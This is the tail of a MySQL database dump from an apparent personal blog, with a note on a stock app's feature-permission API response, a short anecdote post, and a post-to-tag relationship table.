0, '2024-01-08 16:32:16', '2024-01-08 16:34:38');
INSERT INTO `tb_post` VALUES (230, 209, 5, 3, 0, '权限', NULL, 2, '', '', '每次登陆到个人中心以后，会请求下面的地址：\n\n```\nhttps://emapp.emoney.cn/user/Authority/GetMyAuthority\n```\n\n返回：\n```json\n{\n	\"detail\": [{\n		\"code\": \"abjb\",\n		\"name\": \"按部就班\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvediejia\",\n		\"name\": \"策略叠加\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvegongzhen\",\n		\"name\": \"策略共振\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvejingxuan\",\n		\"name\": \"策略精选\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"celvekanpan\",\n		\"name\": \"策略看盘\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"cpx\",\n		\"name\": \"操盘线\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"dkln\",\n		\"name\": \"多空量能\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"dkyy\",\n		\"name\": \"多空意愿\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fsby\",\n		\"name\": \"分时博弈\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"fund\",\n		\"name\": \"基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_compare\",\n		\"name\": \"基金对比\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_golden_bull\",\n		\"name\": \"金牛基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_lesson_junior\",\n		\"name\": \"基金课堂（初级）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_live_broadcast\",\n		\"name\": \"基金实战\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_long_running\",\n		\"name\": \"长跑冠军\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund_smartmoney\",\n		\"name\": \"聪明钱选基\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-bsetf\",\n		\"name\": \"BS点选ETF基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-trade\",\n		\"name\": \"基金交易\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-xsjj\",\n		\"name\": \"相似基金\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"fund-zthyxj\",\n		\"name\": \"主题行业选基\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"ggsfz\",\n		\"name\": \"个股三分钟深度版\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"huoxianticai\",\n		\"name\": \"火线题材\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"indexzlzj\",\n		\"name\": \"指数分时主力净流\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"kankan\",\n		\"name\": \"看看\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"klinehero\",\n		\"name\": \"K线英雄\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"kuaisuxuangu\",\n		\"name\": \"快速选股\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70007\",\n		\"name\": \"直播（拐点）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70008\",\n		\"name\": \"直播（中继）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70009\",\n		\"name\": \"直播（突破）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:live:70010\",\n		\"name\": \"直播（基本面策略）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70007\",\n		\"name\": \"互动问答（拐点）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70008\",\n		\"name\": \"互动问答（中继）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70009\",\n		\"name\": \"互动问答（突破）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"liveroom:qa:70010\",\n		\"name\": \"互动问答（基本面策略）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"longhubang\",\n		\"name\": \"龙虎榜\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"lthy\",\n		\"name\": \"龙腾活跃\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"ltsh\",\n		\"name\": \"龙腾四海\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"points\",\n		\"name\": \"积分中心\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"qsdd\",\n		\"name\": \"趋势顶底\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"qsqj\",\n		\"name\": \"强势区间\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"sd\",\n		\"name\": \"深跌\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"stock_compare\",\n		\"name\": \"股票比一比\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"stockdoctor\",\n		\"name\": \"股票医生\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100005\",\n		\"name\": \"底部量变\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100006\",\n		\"name\": \"深跌回弹\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70007:100013\",\n		\"name\": \"趋势顶底（回转）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70008:100007\",\n		\"name\": \"小步上扬\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100003\",\n		\"name\": \"阶段新高\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100015\",\n		\"name\": \"龙腾四海（再强）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70009:100017\",\n		\"name\": \"按部就班（走强）\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80019\",\n		\"name\": \"高成长\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80020\",\n		\"name\": \"高分红\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80021\",\n		\"name\": \"高盈利\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80022\",\n		\"name\": \"增持回购\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"strategy:70010:80043\",\n		\"name\": \"基本面策略-低市盈率\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"study:system\",\n		\"name\": \"学习成长-体系\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tianyan:fengkou\",\n		\"name\": \"天眼盯盘-风口机会\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tiaojianxuangu\",\n		\"name\": \"条件选股\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"tuijian\",\n		\"name\": \"首页推荐\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zhuti\",\n		\"name\": \"主题聚焦\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zljc\",\n		\"name\": \"主力进出\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}, {\n		\"code\": \"zljl\",\n		\"name\": \"主力净流\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 4,\n		\"groupName\": \"资金指标\"\n	}, {\n		\"code\": \"zxgfx\",\n		\"name\": \"自选股分析\",\n		\"isValid\": true,\n		\"isFee\": true,\n		\"startTime\": 1688486400000,\n		\"endTime\": 1736179199000,\n		\"needPermission\": true,\n		\"groupId\": 1,\n		\"groupName\": \"智盈\"\n	}],\n	\"result\": {\n		\"code\": 0,\n		\"updateTime\": 1704702625884,\n		\"traceId\": \"132513ab376bf38fc00fde8e3d6bd80b\"\n	}\n}\n```', 0, 0, '', 1, 0, '2024-01-08 16:32:21', '2024-01-08 16:32:21');
INSERT INTO `tb_post` VALUES (231, -1, 0, 0, 0, '此处', NULL, 0, '', '', '\n\n\n地铁上的梁朝伟。\n\n表弟说他和那个 OG 聊到早上六点，从单押、双押，一直聊到十三押，OG 跟他说下楼买个东西，表弟本以为顶多买个包子，结果 OG 抱了一箱酒上来，两个人又继续喝。表弟最后抱着 OG 办公室的垃圾桶呕吐，OG 拍拍他的背，说兄弟，吐准点，别吐 Underground 上了.', 1, 0, '', 1, 0, '2024-01-10 00:39:24', '2024-01-11 12:48:54');

-- ----------------------------
-- Table structure for tb_relationship
-- ----------------------------
DROP TABLE IF EXISTS `tb_relationship`;
CREATE TABLE `tb_relationship`  (
  `relationship_id` bigint(20) NOT NULL AUTO_INCREMENT,
  `post_id` bigint(20) NOT NULL,
  `mid` bigint(20) NOT NULL,
  PRIMARY KEY (`relationship_id`) USING BTREE
) ENGINE = InnoDB AUTO_INCREMENT = 2814 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Compact;

-- ----------------------------
-- Records of tb_relationship
-- ----------------------------
INSERT INTO `tb_relationship` VALUES (1, 3, 1);
INSERT INTO `tb_relationship` VALUES (2, 3, 4);
INSERT INTO `tb_relationship` VALUES (3, 11, 1);
INSERT INTO `tb_relationship` VALUES (4, 11, 2);
INSERT INTO `tb_relationship` VALUES (5, 11, 6);
INSERT INTO `tb_relationship` VALUES (6, 11, 8);
INSERT INTO `tb_relationship` VALUES (7, 3, 7);
INSERT INTO `tb_relationship` VALUES (8, 3, 8);
INSERT INTO `tb_relationship` VALUES (9, 14, 1);
INSERT INTO `tb_relationship` VALUES (10, 14, 2);
INSERT INTO `tb_relationship` VALUES (11, 14, 5);
INSERT INTO `tb_relationship` VALUES (25, 103, 1);
INSERT INTO `tb_relationship` VALUES (26, 103, 2);
INSERT INTO `tb_relationship` VALUES (27, 103, 5);
INSERT INTO `tb_relationship` VALUES (30, 108, 1);
INSERT INTO `tb_relationship` VALUES (31, 108, 2);
INSERT INTO `tb_relationship` VALUES (170, 142, 1);
INSERT INTO `tb_relationship` VALUES (171, 142, 2);
INSERT INTO `tb_relationship` VALUES (172, 142, 5);
INSERT INTO `tb_relationship` VALUES (218, 84, 1);
INSERT INTO `tb_relationship` VALUES (219, 84, 5);
INSERT INTO `tb_relationship` VALUES (220, 68, 1);
INSERT INTO `tb_relationship` VALUES (221, 68, 5);
INSERT INTO `tb_relationship` VALUES (222, 68, 9);
INSERT INTO `tb_relationship` VALUES (223, 68, 10);
INSERT INTO `tb_relationship` VALUES (233, 145, 1);
INSERT INTO `tb_relationship` VALUES (234, 145, 2);
INSERT INTO `tb_relationship` VALUES (235, 145, 5);
INSERT INTO `tb_relationship` VALUES (293, 147, 1);
INSERT INTO `tb_relationship` VALUES (294, 147, 2);
INSERT INTO `tb_relationship` VALUES (295, 147, 5);
INSERT INTO `tb_relationship` VALUES (300, 138, 1);
INSERT INTO `tb_relationship` VALUES (301, 138, 2);
INSERT INTO `tb_relationship` VALUES (302, 138, 5);
INSERT INTO `tb_relationship` VALUES (615, 18, 1);
INSERT INTO `tb_relationship` VALUES (616, 18, 2);
INSERT INTO `tb_relationship` VALUES (617, 18, 5);
INSERT INTO `tb_relationship` VALUES (719, 153, 1);
INSERT INTO `tb_relationship` VALUES (720, 153, 13);
INSERT INTO `tb_relationship` VALUES (779, 156, 1);
INSERT INTO `tb_relationship` VALUES (780, 156, 2);
INSERT INTO `tb_relationship` VALUES (781, 156, 6);
INSERT INTO `tb_relationship` VALUES (832, 155, 1);
INSERT INTO `tb_relationship` VALUES (833, 155, 2);
INSERT INTO `tb_relationship` VALUES (834, 155, 5);
INSERT INTO `tb_relationship` VALUES (835, 155, 9);
INSERT INTO `tb_relationship` VALUES (1367, 158, 1);
INSERT INTO `tb_relationship` VALUES (1368, 158, 2);
INSERT INTO `tb_relationship` VALUES (1369, 158, 5);
INSERT INTO `tb_relationship` VALUES (1372, 159, 1);
INSERT INTO `tb_relationship` VALUES (1373, 159, 2);
INSERT INTO `tb_relationship` VALUES (1374, 161, 1);
INSERT INTO `tb_relationship` VALUES (1375, 161, 2);
INSERT INTO `tb_relationship` VALUES (1376, 161, 5);
INSERT INTO `tb_relationship` VALUES (1760, 164, 1);
INSERT INTO `tb_relationship` VALUES (1761, 164, 2);
INSERT INTO `tb_relationship` VALUES (1762, 164, 5);
INSERT INTO `tb_relationship` VALUES (1763, 164, 9);
INSERT INTO `tb_relationship` VALUES (1764, 164, 10);
INSERT INTO `tb_relationship` VALUES (1855, 167, 1);
INSERT INTO `tb_relationship` VALUES (1856, 167, 2);
INSERT INTO `tb_relationship` VALUES (1857, 167, 4);
INSERT INTO `tb_relationship` VALUES (1858, 167, 5);
INSERT INTO `tb_relationship` VALUES (1859, 167, 7);
INSERT INTO `tb_relationship` VALUES (1969, 166, 1);
INSERT INTO `tb_relationship` VALUES (1970, 166, 2);
INSERT INTO `tb_relationship` VALUES (1971, 166, 4);
INSERT INTO `tb_relationship` VALUES (1972, 166, 13);
INSERT INTO `tb_relationship` VALUES (1973, 166, 5);
INSERT INTO `tb_relationship` VALUES (1974, 166, 14);
INSERT INTO `tb_relationship` VALUES (1975, 166, 15);
INSERT INTO `tb_relationship` VALUES (1976, 166, 16);
INSERT INTO `tb_relationship` VALUES (2047, 149, 1);
INSERT INTO `tb_relationship` VALUES (2048, 149, 2);
INSERT INTO `tb_relationship` VALUES (2049, 149, 5);
INSERT INTO `tb_relationship` VALUES (2050, 149, 9);
INSERT INTO `tb_relationship` VALUES (2051, 149, 10);
INSERT INTO `tb_relationship` VALUES (2123, 165, 1);
INSERT INTO `tb_relationship` VALUES (2124, 165, 2);
INSERT INTO `tb_relationship` VALUES (2125, 165, 4);
INSERT INTO `tb_relationship` VALUES (2126, 165, 7);
INSERT INTO `tb_relationship` VALUES (2127, 165, 8);
INSERT INTO `tb_relationship` VALUES (2239, 172, 13);
INSERT INTO `tb_relationship` VALUES (2240, 172, 20);
INSERT INTO `tb_relationship` VALUES (2241, 172, 7);
INSERT INTO `tb_relationship` VALUES (2242, 172, 8);
INSERT INTO `tb_relationship` VALUES (2349, 174, 13);
INSERT INTO `tb_relationship` VALUES (2350, 174, 20);
INSERT INTO `tb_relationship` VALUES (2351, 174, 6);
INSERT INTO `tb_relationship` VALUES (2352, 174, 8);
INSERT INTO `tb_relationship` VALUES (2354, 175, 2);
INSERT INTO `tb_relationship` VALUES (2355, 152, 1);
INSERT INTO `tb_relationship` VALUES (2356, 152, 2);
INSERT INTO `tb_relationship` VALUES (2357, 152, 5);
INSERT INTO `tb_relationship` VALUES (2375, 170, 1);
INSERT INTO `tb_relationship` VALUES (2376, 170, 18);
INSERT INTO `tb_relationship` VALUES (2377, 170, 5);
INSERT INTO `tb_relationship` VALUES (2378, 170, 14);
INSERT INTO `tb_relationship` VALUES (2379, 170, 19);
INSERT INTO `tb_relationship` VALUES (2423, 173, 13);
INSERT INTO `tb_relationship` VALUES (2433, 180, 22);
INSERT INTO `tb_relationship` VALUES (2466, 182, 1);
INSERT INTO `tb_relationship` VALUES (2467, 182, 18);
INSERT INTO `tb_relationship` VALUES (2501, 189, 15);
INSERT INTO `tb_relationship` VALUES (2597, 187, 2);
INSERT INTO `tb_relationship` VALUES (2598, 187, 18);
INSERT INTO `tb_relationship` VALUES (2599, 187, 5);
INSERT INTO `tb_relationship` VALUES (2607, 169, 1);
INSERT INTO `tb_relationship` VALUES (2608, 169, 2);
INSERT INTO `tb_relationship` VALUES (2609, 169, 5);
INSERT INTO `tb_relationship` VALUES (2610, 169, 9);
INSERT INTO `tb_relationship` VALUES (2611, 169, 10);
INSERT INTO `tb_relationship` VALUES (2612, 150, 1);
INSERT INTO `tb_relationship` VALUES (2613, 150, 2);
INSERT INTO `tb_relationship` VALUES (2614, 150, 5);
INSERT INTO `tb_relationship` VALUES (2615, 150, 9);
INSERT INTO `tb_relationship` VALUES (2616, 150, 10);
INSERT INTO `tb_relationship` VALUES (2620, 143, 1);
INSERT INTO `tb_relationship` VALUES (2621, 143, 2);
INSERT INTO `tb_relationship` VALUES (2622, 143, 5);
INSERT INTO `tb_relationship` VALUES (2644, 123, 1);
INSERT INTO `tb_relationship` VALUES (2645, 123, 2);
INSERT INTO `tb_relationship` VALUES (2646, 123, 5);
INSERT INTO `tb_relationship` VALUES (2683, 177, 4);
INSERT INTO `tb_relationship` VALUES (2684, 177, 6);
INSERT INTO `tb_relationship` VALUES (2685, 168, 1);
INSERT INTO `tb_relationship` VALUES (2686, 168, 2);
INSERT INTO `tb_relationship` VALUES (2687, 168, 5);
INSERT INTO `tb_relationship` VALUES (2688, 168, 9);
INSERT INTO `tb_relationship` VALUES (2689, 168, 10);
INSERT INTO `tb_relationship` VALUES (2712, 196, 1);
INSERT INTO `tb_relationship` VALUES (2713, 196, 24);
INSERT INTO `tb_relationship` VALUES (2715, 195, 1);
INSERT INTO `tb_relationship` VALUES (2716, 195, 2);
INSERT INTO `tb_relationship` VALUES (2717, 195, 12);
INSERT INTO `tb_relationship` VALUES (2726, 129, 1);
INSERT INTO `tb_relationship` VALUES (2727, 129, 4);
INSERT INTO `tb_relationship` VALUES (2728, 129, 6);
INSERT INTO `tb_relationship` VALUES (2729, 129, 8);
INSERT INTO `tb_relationship` VALUES (2734, 193, 1);
INSERT INTO `tb_relationship` VALUES (2735, 193, 2);
INSERT INTO `tb_relationship` VALUES (2736, 193, 9);
INSERT INTO `tb_relationship` VALUES (2737, 193, 10);
INSERT INTO `tb_relationship` VALUES (2738, 106, 1);
INSERT INTO `tb_relationship` VALUES (2739, 106, 2);
INSERT INTO `tb_relationship` VALUES (2740, 106, 18);
INSERT INTO `tb_relationship` VALUES (2741, 106, 5);
INSERT INTO `tb_relationship` VALUES (2742, 106, 12);
INSERT INTO `tb_relationship` VALUES (2781, 198, 1);
INSERT INTO `tb_relationship` VALUES (2782, 198, 2);
INSERT INTO `tb_relationship` VALUES (2783, 198, 4);
INSERT INTO `tb_relationship` VALUES (2784, 198, 7);
INSERT INTO `tb_relationship` VALUES (2785, 157, 1);
INSERT INTO `tb_relationship` VALUES (2786, 157, 4);
INSERT INTO `tb_relationship` VALUES (2787, 157, 6);
INSERT INTO `tb_relationship` VALUES (2788, 19, 1);
INSERT INTO `tb_relationship` VALUES (2789, 19, 4);
INSERT INTO `tb_relationship` VALUES (2790, 19, 18);
INSERT INTO `tb_relationship` VALUES (2791, 19, 6);
INSERT INTO `tb_relationship` VALUES (2792, 19, 8);
INSERT INTO `tb_relationship` VALUES (2811, 199, 2);
INSERT INTO `tb_relationship` VALUES (2812, 199, 5);
INSERT INTO `tb_relationship` VALUES (2813, 199, 12);

SET FOREIGN_KEY_CHECKS = 1;
